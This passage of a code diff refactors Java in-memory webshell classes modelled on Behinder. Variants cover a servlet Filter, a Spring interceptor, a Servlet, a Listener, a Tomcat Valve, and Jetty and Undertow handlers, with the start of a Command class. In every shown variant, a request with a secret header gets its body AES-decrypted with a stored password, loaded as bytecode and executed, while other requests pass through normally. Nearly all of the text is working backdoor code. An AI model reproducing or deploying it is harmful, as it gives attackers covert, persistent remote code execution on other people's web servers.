||||
return response;
|
||||
return internalResponse;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -86,7 +92,7 @@ public class BehinderControllerHandler extends ClassLoader implements Controller
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
public static byte[] base64Decode(String bs) throws Exception {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
@@ -94,12 +100,9 @@ public class BehinderControllerHandler extends ClassLoader implements Controller
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
+27
-22
@@ -20,11 +20,6 @@ public class BehinderFilter extends ClassLoader implements Filter {
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> g(byte[] b) {
|
||||
return super.defineClass(b, 0, b.length);
|
||||
}
|
||||
|
||||
public BehinderFilter() {
|
||||
}
|
||||
|
||||
@@ -39,32 +34,45 @@ public class BehinderFilter extends ClassLoader implements Filter {
|
||||
HttpServletResponse response = (HttpServletResponse) servletResponse;
|
||||
|
||||
try {
|
||||
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
|
||||
if (request.getHeader(this.headerName) != null
|
||||
&& request.getHeader(this.headerName).contains(this.headerValue)) {
|
||||
HttpSession session = ((HttpServletRequest) servletRequest).getSession();
|
||||
Map<String, Object> obj = new HashMap<String, Object>(3);
|
||||
obj.put("request", servletRequest);
|
||||
obj.put("response", getInternalResponse(response));
|
||||
obj.put("response", unwrapResponse(response));
|
||||
obj.put("session", session);
|
||||
session.setAttribute("u", this.pass);
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
|
||||
byte[] bytes = c.doFinal(base64Decode(servletRequest.getReader().readLine()));
|
||||
Object instance = (new BehinderFilter(this.getClass().getClassLoader())).g(bytes).newInstance();
|
||||
Object instance = (new BehinderFilter(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(obj);
|
||||
} else {
|
||||
filterChain.doFilter(servletRequest, servletResponse);
|
||||
return;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
filterChain.doFilter(servletRequest, servletResponse);
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
filterChain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
|
||||
public HttpServletResponse getInternalResponse(HttpServletResponse response) {
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> g(byte[] b) {
|
||||
return super.defineClass(b, 0, b.length);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Object unwrapResponse(Object response) {
|
||||
Object internalResponse = response;
|
||||
while (true) {
|
||||
try {
|
||||
response = (HttpServletResponse) getFieldValue(response, "response");
|
||||
Object r = getFieldValue(response, "response");
|
||||
if (r == internalResponse) {
|
||||
return r;
|
||||
} else {
|
||||
internalResponse = r;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
return response;
|
||||
return internalResponse;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -90,7 +98,7 @@ public class BehinderFilter extends ClassLoader implements Filter {
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
public static byte[] base64Decode(String bs) throws Exception {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
@@ -98,12 +106,9 @@ public class BehinderFilter extends ClassLoader implements Filter {
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
+25
-22
@@ -21,19 +21,13 @@ public class BehinderInterceptor extends ClassLoader implements AsyncHandlerInte
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> g(byte[] b) {
|
||||
return super.defineClass(b, 0, b.length);
|
||||
public BehinderInterceptor() {
|
||||
}
|
||||
|
||||
public BehinderInterceptor(ClassLoader c) {
|
||||
super(c);
|
||||
}
|
||||
|
||||
|
||||
public BehinderInterceptor() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
|
||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||
@@ -41,15 +35,15 @@ public class BehinderInterceptor extends ClassLoader implements AsyncHandlerInte
|
||||
HttpSession session = request.getSession();
|
||||
Map<String, Object> obj = new HashMap<String, Object>(3);
|
||||
obj.put("request", request);
|
||||
obj.put("response", getInternalResponse(response));
|
||||
obj.put("response", unwrapResponse(response));
|
||||
obj.put("session", session);
|
||||
session.setAttribute("u", this.pass);
|
||||
session.setAttribute("u", pass);
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
|
||||
c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
|
||||
byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
|
||||
Object instance = (new BehinderInterceptor(this.getClass().getClassLoader())).g(bytes).newInstance();
|
||||
Object instance = (new BehinderInterceptor(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(obj);
|
||||
} catch (Exception e) {
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return false;
|
||||
@@ -58,16 +52,28 @@ public class BehinderInterceptor extends ClassLoader implements AsyncHandlerInte
|
||||
}
|
||||
}
|
||||
|
||||
public HttpServletResponse getInternalResponse(HttpServletResponse response) {
|
||||
@SuppressWarnings("all")
|
||||
public Object unwrapResponse(Object response) {
|
||||
Object internalResponse = response;
|
||||
while (true) {
|
||||
try {
|
||||
response = (HttpServletResponse) getFieldValue(response, "response");
|
||||
Object r = getFieldValue(response, "response");
|
||||
if (r == internalResponse) {
|
||||
return r;
|
||||
} else {
|
||||
internalResponse = r;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
return response;
|
||||
return internalResponse;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> g(byte[] b) {
|
||||
return super.defineClass(b, 0, b.length);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Field field = null;
|
||||
@@ -99,7 +105,7 @@ public class BehinderInterceptor extends ClassLoader implements AsyncHandlerInte
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
public static byte[] base64Decode(String bs) throws Exception {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
@@ -107,12 +113,9 @@ public class BehinderInterceptor extends ClassLoader implements AsyncHandlerInte
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
+24
-20
@@ -16,11 +16,6 @@ public class BehinderJettyHandler extends ClassLoader {
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> g(byte[] b) {
|
||||
return super.defineClass(b, 0, b.length);
|
||||
}
|
||||
|
||||
public BehinderJettyHandler() {
|
||||
}
|
||||
|
||||
@@ -54,22 +49,22 @@ public class BehinderJettyHandler extends ClassLoader {
|
||||
try {
|
||||
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
|
||||
if (value != null && value.contains(headerValue)) {
|
||||
if (baseRequest != null) {
|
||||
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
|
||||
}
|
||||
Object session = request.getClass().getMethod("getSession").invoke(request);
|
||||
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "u", pass);
|
||||
Map<String, Object> map = new HashMap<String, Object>(3);
|
||||
map.put("request", request);
|
||||
map.put("response", getInternalResponse(response));
|
||||
map.put("response", unwrapResponse(response));
|
||||
map.put("session", session);
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
|
||||
BufferedReader reader = (BufferedReader) request.getClass().getMethod("getReader").invoke(request);
|
||||
String parameter = reader.readLine();
|
||||
byte[] bytes = c.doFinal(base64Decode(parameter));
|
||||
Object instance = (new BehinderJettyHandler(this.getClass().getClassLoader())).g(bytes).newInstance();
|
||||
Object instance = (new BehinderJettyHandler(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(map);
|
||||
if (baseRequest != null) {
|
||||
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
@@ -78,16 +73,28 @@ public class BehinderJettyHandler extends ClassLoader {
|
||||
return false;
|
||||
}
|
||||
|
||||
public Object getInternalResponse(Object response) {
|
||||
@SuppressWarnings("all")
|
||||
public Object unwrapResponse(Object response) {
|
||||
Object internalResponse = response;
|
||||
while (true) {
|
||||
try {
|
||||
response = getFieldValue(response, "response");
|
||||
Object r = getFieldValue(response, "response");
|
||||
if (r == internalResponse) {
|
||||
return r;
|
||||
} else {
|
||||
internalResponse = r;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
return response;
|
||||
return internalResponse;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> g(byte[] b) {
|
||||
return super.defineClass(b, 0, b.length);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Field field = null;
|
||||
@@ -109,7 +116,7 @@ public class BehinderJettyHandler extends ClassLoader {
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
public static byte[] base64Decode(String bs) throws Exception {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
@@ -117,12 +124,9 @@ public class BehinderJettyHandler extends ClassLoader {
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
+42
-37
@@ -27,6 +27,35 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe
|
||||
super(z);
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||
try {
|
||||
if (request.getHeader(headerName) != null
|
||||
&& request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpServletResponse response = (HttpServletResponse) getResponseFromRequest(request);
|
||||
HttpSession session = ((HttpServletRequest) request).getSession();
|
||||
Map<String, Object> obj = new HashMap<String, Object>(3);
|
||||
obj.put("request", request);
|
||||
obj.put("response", unwrapResponse(response));
|
||||
obj.put("session", session);
|
||||
session.setAttribute("u", this.pass);
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
|
||||
byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
|
||||
Object instance = (new BehinderListener(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(obj);
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
private Object getResponseFromRequest(Object request) throws Exception {
|
||||
return null;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Field field = null;
|
||||
@@ -48,7 +77,7 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
public static byte[] base64Decode(String bs) throws Exception {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
@@ -56,12 +85,9 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
@@ -75,41 +101,20 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe
|
||||
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||
try {
|
||||
if (request.getHeader(headerName) != null
|
||||
&& request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpServletResponse response = (HttpServletResponse) getResponseFromRequest(request);
|
||||
HttpSession session = ((HttpServletRequest) request).getSession();
|
||||
Map<String, Object> obj = new HashMap<String, Object>(3);
|
||||
obj.put("request", request);
|
||||
obj.put("response", getInternalResponse(response));
|
||||
obj.put("session", session);
|
||||
session.setAttribute("u", this.pass);
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
|
||||
byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
|
||||
Object instance = (new BehinderListener(this.getClass().getClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(obj);
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
public HttpServletResponse getInternalResponse(HttpServletResponse response) {
|
||||
public Object unwrapResponse(Object response) {
|
||||
Object internalResponse = response;
|
||||
while (true) {
|
||||
try {
|
||||
response = (HttpServletResponse) getFieldValue(response, "response");
|
||||
Object r = getFieldValue(response, "response");
|
||||
if (r == internalResponse) {
|
||||
return r;
|
||||
} else {
|
||||
internalResponse = r;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
return response;
|
||||
return internalResponse;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private Object getResponseFromRequest(Object request) throws Exception {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
+25
-21
@@ -21,6 +21,13 @@ public class BehinderServlet extends ClassLoader implements Servlet {
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
|
||||
public BehinderServlet() {
|
||||
}
|
||||
|
||||
public BehinderServlet(ClassLoader parent) {
|
||||
super(parent);
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
|
||||
@@ -31,26 +38,33 @@ public class BehinderServlet extends ClassLoader implements Servlet {
|
||||
HttpSession session = request.getSession();
|
||||
Map<String, Object> obj = new HashMap<String, Object>(3);
|
||||
obj.put("request", request);
|
||||
obj.put("response", getInternalResponse(response));
|
||||
obj.put("response", unwrapResponse(response));
|
||||
obj.put("session", session);
|
||||
session.setAttribute("u", this.pass);
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
|
||||
byte[] bytes = c.doFinal(base64Decode(req.getReader().readLine()));
|
||||
Object instance = (new BehinderServlet(this.getClass().getClassLoader())).g(bytes).newInstance();
|
||||
Object instance = (new BehinderServlet(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(obj);
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public HttpServletResponse getInternalResponse(HttpServletResponse response) {
|
||||
@SuppressWarnings("all")
|
||||
public Object unwrapResponse(Object response) {
|
||||
Object internalResponse = response;
|
||||
while (true) {
|
||||
try {
|
||||
response = (HttpServletResponse) getFieldValue(response, "response");
|
||||
Object r = getFieldValue(response, "response");
|
||||
if (r == internalResponse) {
|
||||
return r;
|
||||
} else {
|
||||
internalResponse = r;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
return response;
|
||||
return internalResponse;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -85,13 +99,6 @@ public class BehinderServlet extends ClassLoader implements Servlet {
|
||||
|
||||
}
|
||||
|
||||
public BehinderServlet() {
|
||||
}
|
||||
|
||||
public BehinderServlet(ClassLoader parent) {
|
||||
super(parent);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> g(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
@@ -99,7 +106,7 @@ public class BehinderServlet extends ClassLoader implements Servlet {
|
||||
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
public static byte[] base64Decode(String bs) throws Exception {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
@@ -107,12 +114,9 @@ public class BehinderServlet extends ClassLoader implements Servlet {
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
+21
-17
@@ -16,11 +16,6 @@ public class BehinderUndertowServletHandler extends ClassLoader {
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> g(byte[] b) {
|
||||
return super.defineClass(b, 0, b.length);
|
||||
}
|
||||
|
||||
public BehinderUndertowServletHandler() {
|
||||
}
|
||||
|
||||
@@ -46,14 +41,14 @@ public class BehinderUndertowServletHandler extends ClassLoader {
|
||||
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "u", pass);
|
||||
Map<String, Object> map = new HashMap<String, Object>(3);
|
||||
map.put("request", request);
|
||||
map.put("response", getInternalResponse(response));
|
||||
map.put("response", unwrapResponse(response));
|
||||
map.put("session", session);
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
|
||||
BufferedReader reader = (BufferedReader) request.getClass().getMethod("getReader").invoke(request);
|
||||
String parameter = reader.readLine();
|
||||
byte[] bytes = c.doFinal(base64Decode(parameter));
|
||||
Object instance = (new BehinderUndertowServletHandler(this.getClass().getClassLoader())).g(bytes).newInstance();
|
||||
Object instance = (new BehinderUndertowServletHandler(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(map);
|
||||
return true;
|
||||
}
|
||||
@@ -63,16 +58,28 @@ public class BehinderUndertowServletHandler extends ClassLoader {
|
||||
return false;
|
||||
}
|
||||
|
||||
public Object getInternalResponse(Object response) {
|
||||
@SuppressWarnings("all")
|
||||
public Object unwrapResponse(Object response) {
|
||||
Object internalResponse = response;
|
||||
while (true) {
|
||||
try {
|
||||
response = getFieldValue(response, "response");
|
||||
Object r = getFieldValue(response, "response");
|
||||
if (r == internalResponse) {
|
||||
return r;
|
||||
} else {
|
||||
internalResponse = r;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
return response;
|
||||
return internalResponse;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> g(byte[] b) {
|
||||
return super.defineClass(b, 0, b.length);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Field field = null;
|
||||
@@ -94,7 +101,7 @@ public class BehinderUndertowServletHandler extends ClassLoader {
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
public static byte[] base64Decode(String bs) throws Exception {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
@@ -102,12 +109,9 @@ public class BehinderUndertowServletHandler extends ClassLoader {
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
+43
-38
@@ -7,7 +7,6 @@ import org.apache.catalina.connector.Response;
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import javax.servlet.ServletException;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import javax.servlet.http.HttpSession;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
@@ -22,8 +21,6 @@ public class BehinderValve extends ClassLoader implements Valve {
|
||||
public static String pass;
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
protected Valve next;
|
||||
protected boolean asyncSupported;
|
||||
|
||||
public BehinderValve() {
|
||||
}
|
||||
@@ -32,21 +29,43 @@ public class BehinderValve extends ClassLoader implements Valve {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
public void invoke(Request request, Response response) throws IOException, ServletException {
|
||||
try {
|
||||
if (request.getHeader(headerName) != null
|
||||
&& request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpSession session = request.getSession();
|
||||
Map<String, Object> obj = new HashMap<String, Object>(3);
|
||||
obj.put("request", request);
|
||||
obj.put("response", unwrapResponse(response));
|
||||
obj.put("session", session);
|
||||
session.setAttribute("u", pass);
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
|
||||
byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
|
||||
Object instance = (new BehinderValve(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(obj);
|
||||
return;
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
this.getNext().invoke(request, response);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) throws Exception {
|
||||
byte[] value = null;
|
||||
Class base64;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var5) {
|
||||
}
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
@@ -56,6 +75,9 @@ public class BehinderValve extends ClassLoader implements Valve {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
protected Valve next;
|
||||
protected boolean asyncSupported;
|
||||
|
||||
@Override
|
||||
public Valve getNext() {
|
||||
return this.next;
|
||||
@@ -75,36 +97,19 @@ public class BehinderValve extends ClassLoader implements Valve {
|
||||
public void backgroundProcess() {
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void invoke(Request request, Response response) throws IOException, ServletException {
|
||||
try {
|
||||
if (request.getHeader(headerName) != null
|
||||
&& request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpSession session = request.getSession();
|
||||
Map<String, Object> obj = new HashMap<String, Object>(3);
|
||||
obj.put("request", request);
|
||||
obj.put("response", getInternalResponse(response));
|
||||
obj.put("session", session);
|
||||
session.setAttribute("u", this.pass);
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
|
||||
byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
|
||||
Object instance = (new BehinderValve(this.getClass().getClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(obj);
|
||||
return;
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
this.getNext().invoke(request, response);
|
||||
}
|
||||
|
||||
public HttpServletResponse getInternalResponse(HttpServletResponse response) {
|
||||
public Object unwrapResponse(Object response) {
|
||||
Object internalResponse = response;
|
||||
while (true) {
|
||||
try {
|
||||
response = (HttpServletResponse) getFieldValue(response, "response");
|
||||
Object r = getFieldValue(response, "response");
|
||||
if (r == internalResponse) {
|
||||
return r;
|
||||
} else {
|
||||
internalResponse = r;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
return response;
|
||||
return internalResponse;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+14
-12
@@ -11,23 +11,15 @@ import java.lang.reflect.Field;
|
||||
public class Command {
|
||||
public static String paramName;
|
||||
|
||||
private String getParam(String param) {
|
||||
return param;
|
||||
}
|
||||
|
||||
private InputStream getInputStream(String cmd) throws Exception {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean equals(Object obj) {
|
||||
Object[] args = ((Object[]) obj);
|
||||
Object request = unwrapRequest(args[0]);
|
||||
Object response = unwrapResponse(args[1]);
|
||||
try {
|
||||
String cmd = getParam((String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName));
|
||||
if (cmd != null) {
|
||||
InputStream inputStream = getInputStream(cmd);
|
||||
